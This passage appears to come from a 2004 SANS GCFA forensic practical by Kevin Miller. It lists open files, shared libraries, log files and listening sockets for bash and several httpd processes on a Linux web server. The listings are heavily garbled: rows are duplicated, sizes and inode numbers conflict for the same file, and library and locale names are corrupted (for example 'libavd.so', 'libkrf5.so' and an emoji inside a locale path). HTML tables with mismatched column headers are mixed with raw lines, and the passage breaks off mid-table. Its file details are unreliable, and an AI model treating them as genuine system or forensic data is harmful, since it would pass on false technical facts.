bash 7206 root mem REG 3,2 26966 14246 /usr/lib/gconv/gconv-modules.cache
bash 7206 root mem REG 3,5 118352 63560 /lib/libtermcap.so.2.0.8
bash 7206 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
bash 7206 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
bash 7206 rootmem REG 3,5 46117 63531 /lib/libnss_nisplus-2.2.5.so
bash 7206 rootmem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so
bash 7206 rootmem REG 3,2 173680 130324
/bash 7206 root mem REG 3,5 1401027 73730 /lib/lib686/libc-2.2.5.so
bash 7206 root 0u CHR 136,2 4 /dev/pts/2
bash 7206 root 1u CHR 136,2 4 /dev/pts/2
bash 7206 root 2u CHR 136,2 4 /dev/pts/2
httpd 8125 root cwd DIR 3,5 1024 2 /
httpd 8125 root text REG 3,2 290169 131802 /usr/sbin/httpd
httpd 8125 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
httpd 8125 rootmem REG 3,2 8983 229506 /usr/lib/apache/mod_env.so
httpd 8125 rootmem REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
httpd 8125 rootmem REG 3,2 17638 229514 /usr/lib/apache/mod_log_config.so
httpd 8125 rootmem REG 3,2 7438 229513 /usr/lib/apache/mod_log_agent.so
httpd 8125 rootmem REG 3,2 8350 229515 /usr/lib/apache/mod_log_referer.so
httpd 8125 rootmem REG 3,2 8274 229505 /usr/lib/apache/mod_dir.so
httpd 8125 root root REG 3,2 171 130311
httpd 8125 root mem REG 3,5 101902 73734 /lib/lib686/libpthread-0.9.so
httpd 8125 root mem REG 3,5 173359 73732 /lib686/libitm-2.2.5.so
httpd 8125 root mem REG 3,5 23575 63501 /lib/libcrypt-2.2.5.so
httpd 8125 root mem REG 3,5 30282 65273 /usr/lib/libc6.so.6.2.5
httpd 8125 root mem REG 3,5 655224 63543 /lib/libc-3.3.so
httpd 8125 root mem REG 3,2 19662 66292 /usr/lib/libc.so.6.11.0.23
httpd 8125 root mem REG 3,2 141735 65380 /usr/lib/libexpat.so.0.1.0
httpd 8125 root mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
httpd 8125 root mem REG 3,2 14929 229516 /usr/lib/apache/mod_mime.so
httpd 8125 root mem REG 3,2 27415 229519 /usr/lib/apache/mod_negotiation.so
httpd 8125 root mem REG 3,2 18365 229523 /usr/lib/apache/mod_status.so
httpd 8125 root mem REG 3,2 19959 229512 /usr/lib/apache/mod_info.so
httpd 8125 root mem REG 3,5 15974 229511 /usr/lib/apache/mod_include.so
httpd 8125 root mem REG 3,2 27836 229501 /usr/lib/apache/mod_autoindex.so
httpd 8125 root mem REG 3,2 14940 229503 /usr/lib/apache/mod_cgi.so
httpd 8125 root mem REG 3,2 6924 229496 /usr/lib/apache/mod_asis.so
httpd 8125 root mem REG 3,2 15974 229510 /usr/lib/apache/mod_inmap.so
httpd 8125 root mem REG 3,2 8541 229494 /usr/lib/apache/mod_actions.so
httpd 8125 root mem REG 3,2 8770 229525 /usr/lib/apache/mod_userdir.so
httpd 8125 root mem REG 3,2 10617 229495 /usr/lib/apache/mod_alias.so
httpd 8125 root mem REG 3,2 53189 229520 /usr/lib/apache/mod_rewrite.so
httpd 8125 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 8125 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 8125 root mem REG 3,2 8486 229498 /usr/lib/apache/mod_auth_anon.so
httpd 8125 root mem REG 3,2 9304 229499 /usr/lib/apache/mod_auth_db.so
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>CMD</th>
<th>PID</th>
<th>VM Size</th>
<th>Address</th>
<th>Path/Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>92407</td>
<td>440046</td>
<td>/usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>8261</td>
<td>229509</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>10176</td>
<td>229521</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>92407</td>
<td>440046</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>122952</td>
<td>229529</td>
<td>/usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>210094</td>
<td>229531</td>
<td>/usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>1453198</td>
<td>425001</td>
<td>/usr/lib/php4/imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>8621</td>
<td>440043</td>
<td>/usr/lib/kerberos/lib/kerberos.so.3.1</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>20666</td>
<td>114263</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>135</td>
<td>29</td>
<td>130312</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>30</td>
<td>29</td>
<td>130314</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>32</td>
<td>28</td>
<td>130315</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>292</td>
<td>179360</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>65</td>
<td>130316</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>161</td>
<td>130317</td>
<td>/usr/lib/locale/en_US.iso885915/LC🦚Telephone</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>83</td>
<td>130318</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>40</td>
<td>130319</td>
<td>/usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>58</td>
<td>179360</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>13</td>
<td>130320</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>126422</td>
<td>66287</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>0</td>
<td>38183</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8125</td>
<td>0</td>
<td>26691</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
</tbody>
</table>

(deleted)
httpd 10606  root  mem  REG  3,2  11985  229497  /usr/lib/apache/mod_auth.so
httpd 10606  root  mem  REG  3,2  8486  229498  /usr/lib/apache/mod_auth_anon.so
httpd 10606  root  mem  REG  3,2  9304  229499  /usr/lib/apache/mod_auth_db.so
httpd 10606  root  mem  REG  3,2  9900  229500  /usr/lib/apache/mod_expires.so
httpd 10606  root  mem  REG  3,2  8261  229501  /usr/lib/apache/mod_headers.so
httpd 10606  root  mem  REG  3,2  10176  229502  /usr/lib/apache/mod_setenvif.so
httpd 10606  root  mem  REG  3,2  11174  229503  /usr/lib/apache/mod_auth.so
httpd 10606  root  mem  REG  3,5  9304  229523  /usr/lib/apache/libdav.so
httpd 10606  root  mem  REG  3,2  92407  440046  
httpd 10606  root  mem  REG  3,5  11174  63541  /lib/libutil-2.2.5.so
httpd 10606  root  mem  REG  3,2  122952  229529  /usr/lib/apache/libdav.so
httpd 10606  root  mem  REG  3,2  210094  229531  /usr/lib/apache/libssl.so
httpd 10606  root  mem  REG  3,2  1453198  425001  /usr/lib/php4/imap.so
httpd 10606  root  mem  REG  3,2  8486  229532  /usr/lib/apache/libssl.so
httpd 10606  root  mem  REG  3,2  8261  229533  /usr/lib/apache/mod_headers.so
httpd 10606  root  mem  REG  3,2  10176  229534  /usr/lib/apache/mod_setenvif.so
httpd 10606  root  mem  REG  3,2  11174  63541  /lib/libutil-2.2.5.so
httpd 10606  root  mem  REG  3,2  153026  229535  /dev/null
httpd 10606  root  mem  REG  3,2  1311560  63596  /usr/lib/libpng.so.2.1.0.12
httpd 10606  root  mem  REG  3,2  59778  63585  /usr/lib/libbz2.so.1.0.2
httpd 10606  root  mem  REG  3,2  143819  66089  /usr/lib/libpng.so.2.1.0.12
httpd 10606  root  mem  REG  3,2  92407  63562  /lib/libcrypto.so.0.9.6b
httpd 10606  root  mem  REG  3,2  210094  66033  /usr/lib/libgmp.so.3.2.1
httpd 10606  root  mem  REG  3,2  143819  66089  /usr/lib/libpng.so.2.1.0.12
httpd 10606  root  mem  REG  3,2  92407  63562  /lib/libcrypto.so.0.9.6b
httpd 10606  root  mem  REG  3,5  153026  66042  /usr/lib/libjpeg.so.62.0.0
httpd 10606  root  mem  REG  3,2  8261  229533  /usr/lib/php4/ldap.so
httpd 10606  root  mem  REG  3,2  210094  66033  /usr/lib/libgmp.so.3.2.1
httpd 10606  root  mem  REG  3,2  196866  66287  /usr/lib/libgd.so.1.8.4
httpd 10606  root  mem  REG  3,2  13415  65415  /usr/lib/libxml2.so.2.4.19
httpd 10606  root  mem  REG  3,2  8261  229533  /usr/lib/php4/ldap.so
httpd 10606  root  mem  REG  3,2  210094  66033  /usr/lib/libgmp.so.3.2.1
httpd 10606  root  mem  REG  3,2  196866  66287  /usr/lib/libgd.so.1.8.4
httpd 10606  root  mem  REG  3,2  13415  65415  /usr/lib/libxml2.so.2.4.19
httpd 10606  root  mem  REG  3,2  79725  64048  
httpd 10606  root  mem  REG  3,2  42069  425002  /usr/lib/php4/idap.so
httpd 10606  root  mem  REG  3,2  44992  63549  /usr/lib/libjpeg.so.62.0.0
httpd 10606  root  mem  REG  3,5  16051  65320  /usr/lib/libjpeg.so.62.0.0
httpd 10606  root  mem  REG  3,5  45415  65323  /usr/lib/libjpeg.so.62.0.0
httpd 10606  root  mem  REG  3,5  140127  73730  /usr/lib/libjpeg.so.62.0.0
httpd 10606 root 1w CHR 1,3 9637 /dev/null
httpd 10606 root 2w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10606 root 3u REG 3,6 0 38183 /var/run/httpd_mm.8124.sem
httpd 10606 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
httpd 10606 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
httpd 10606 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10606 root 16u IPv4 361623 TCP *:https (LISTEN)
httpd 10606 root 17u IPv4 361624 TCP *:http (LISTEN)
httpd 10607 root cwd DIR 3,5 1024 2 /var/lib/apache/mod_vhost_alias.so
httpd 10607 root rtd DIR 3,5 1024 2 /var/lib/apache/mod_env.so
httpd 10607 root txt REG 3,2 290169 131802 /usr/sbin/httpd
httpd 10607 root mem REG 3,5 89547 63490 /lib/libcrypt-2.2.5.so
httpd 10607 root mem REG 3,2 9883 229527 /usr/lib/apache/mod_log_agent.so
httpd 10607 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_log_config.so
httpd 10607 root mem REG 3,2 17638 229514 /usr/lib/apache/mod_log_referer.so
httpd 10607 root mem REG 3,2 7438 229513 /usr/lib/apache/mod_dir.so
httpd 10607 root mem REG 3,2 371 130312 /usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 10607 root mem REG 3,2 30282 65273 /usr/lib/libgdbm.so.2.0.0
Kevin Miller - Sans GCFA Assignment – v1.4

<table>
<thead>
<tr>
<th>Process</th>
<th>Username</th>
<th>Memory</th>
<th>Type</th>
<th>Size</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>655224 /lib/libdb-3.3.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19662 /lib/libm.so.11.0.23</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>141735 /lib/libexpat.so.0.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>12102 /lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14929 /lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27415 /usr/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>18365 /usr/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>19959 /usr/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35886 /usr/lib/apache/mod_include.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>27836 /usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>14940 /usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>6924 /usr/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>15974 /usr/lib/apache/mod_dav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8541 /usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8770 /usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10617 /usr/lib/apache/mod_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>53189 /usr/lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10034 /usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>11985 /usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8486 /usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9304 /usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>9900 /usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8261 /usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>10176 /usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>92407 /usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>/usr/lib/gconv/gconv</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>11174 /lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>/usr/lib/gconv/gconv</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>122952 /usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>/usr/lib/gconv/gconv</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>210094 /usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>/usr/lib/gconv/gconv</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1453198 /usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>/usr/lib/gconv/gconv</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>8621 /usr/lib/apache/mod_crypt.so</td>
</tr>
<tr>
<td>/usr/lib/gconv/gconv</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>20666 /usr/lib/apache/libcrypto.so</td>
</tr>
<tr>
<td>/usr/lib/gconv/gconv</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>29 /usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>65341 /lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>161 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>83 /usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_NAME</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>40 /usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>131560 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>89424 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35340 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>5300 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426442 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>131560 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>89424 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>1561021 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>35340 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>28138 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>5300 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>426442 /usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
</tbody>
</table>

© SANS Institute 2004,
As part of GIAC practical repository. Author retains full rights.
Kevin Miller - Sans GCFA Assignment – v1.4  
Page 143

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Mode</th>
<th>ID</th>
<th>Priority</th>
<th>Memory</th>
<th>REG</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10609</td>
<td>3,5</td>
<td>11174</td>
<td>63541</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10609</td>
<td>3,2</td>
<td>122952</td>
<td>229529</td>
<td>/usr/lib/apache/libavd.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10609</td>
<td>3,2</td>
<td>210094</td>
<td>229531</td>
<td>/usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10609</td>
<td>3,2</td>
<td>1453198</td>
<td>425001</td>
<td>/usr/lib/php/imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10609</td>
<td>3,2</td>
<td>8621</td>
<td>440043</td>
<td>/usr/kerberos/lib/libcom_err.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10609</td>
<td>3,2</td>
<td>20666</td>
<td>114263</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
</tbody>
</table>

/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT

httpd 10609 root mem REG 3,2 65 130316

httpd 10609 root mem REG 3,2 161 130310

httpd 10609 root mem REG 3,2 83 130314

httpd 10609 root mem REG 3,2 40 130315

httpd 10609 root mem REG 3,2 58 130316

httpd 10609 root mem REG 3,2 161 130317

httpd 10609 root mem REG 3,2 60 130322

httpd 10609 root mem REG 3,2 173680 130324

httpd 10609 root mem REG 3,2 173680 130324

httpd 10609 root mem REG 3,2 1264225 229529 /usr/lib/apache/libavd.so

httpd 10609 root mem REG 3,2 427611 440053 /usr/kerberos/lib/libkrf5.so.3.1

httpd 10609 root mem REG 3,2 191615 65351 /usr/lib/libldap.so.2.0.0.15

httpd 10609 root mem REG 3,2 48583 65345 /usr/lib/libssl.so.7.1.8

httpd 10609 root mem REG 3,2 46117 65351 /usr/lib/libnss_nisplus-2.2.5.so

httpd 10609 root mem REG 3,2 1401027 73730 /lib686/libc-2.2.5.so

httpd 10609 root mem REG 3,2 79725 40048 /usr/kerberos/lib/libkrf5crypto.so.3.0

httpd 10609 root mem REG 3,2 42069 425002 /usr/lib/php/ldap.so

httpd 10609 root mem REG 3,2 44992 65349 /usr/lib/libber.so.2.0.15

httpd 10609 root mem REG 3,2 45415 65323 /lib/libnss_files.so.2.2.5.so

httpd 10609 root mem REG 3,2 2457 130317

httpd 10609 root mem REG 3,2 32 130314

httpd 10609 root mem REG 3,2 4 130322

httpd 10609 root mem REG 3,2 60 130322

httpd 10609 root mem REG 3,2 173680 130324

httpd 10609 root mem REG 3,2 1264225 229529 /usr/lib/apache/libavd.so

httpd 10609 root mem REG 3,2 427611 440053 /usr/kerberos/lib/libkrf5.so.3.1

httpd 10609 root mem REG 3,2 191615 65351 /usr/lib/libldap.so.2.0.0.15

httpd 10609 root mem REG 3,2 48583 65345 /usr/lib/libssl.so.7.1.8

httpd 10609 root mem REG 3,2 46117 65351 /usr/lib/libnss_nisplus-2.2.5.so

httpd 10609 root mem REG 3,2 1401027 73730 /lib686/libc-2.2.5.so

httpd 10609 root 1w CHR 1,3 9637 /dev/null

httpd 10609 root 2w REG 3,6 1729 44202 /var/log/httpd/error_log

httpd 10609 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem

httpd 10609 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem

httpd 10609 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem

httpd 10609 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log

httpd 10609 root 16u IPv4 361623 TCP :https (LISTEN)

httpd 10609 root 17u IPv4 361624 TCP :http (LISTEN)
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Mode</th>
<th>PID</th>
<th>Size</th>
<th>Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>27836</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>14940</td>
<td>/usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>6924</td>
<td>/usr/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>15974</td>
<td>/usr/lib/apache/mod_imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>8541</td>
<td>/usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>8770</td>
<td>/usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>53189</td>
<td>/usr/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>10034</td>
<td>/usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>9304</td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>9900</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>8486</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>15974</td>
<td>/usr/lib/apache/mod_ismap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>22950</td>
<td>/usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>10176</td>
<td>/usr/lib/apache/mod_template.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>440046</td>
<td>/usr/kerberos/lib/libgssapi_krb5.so.2.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>11174</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
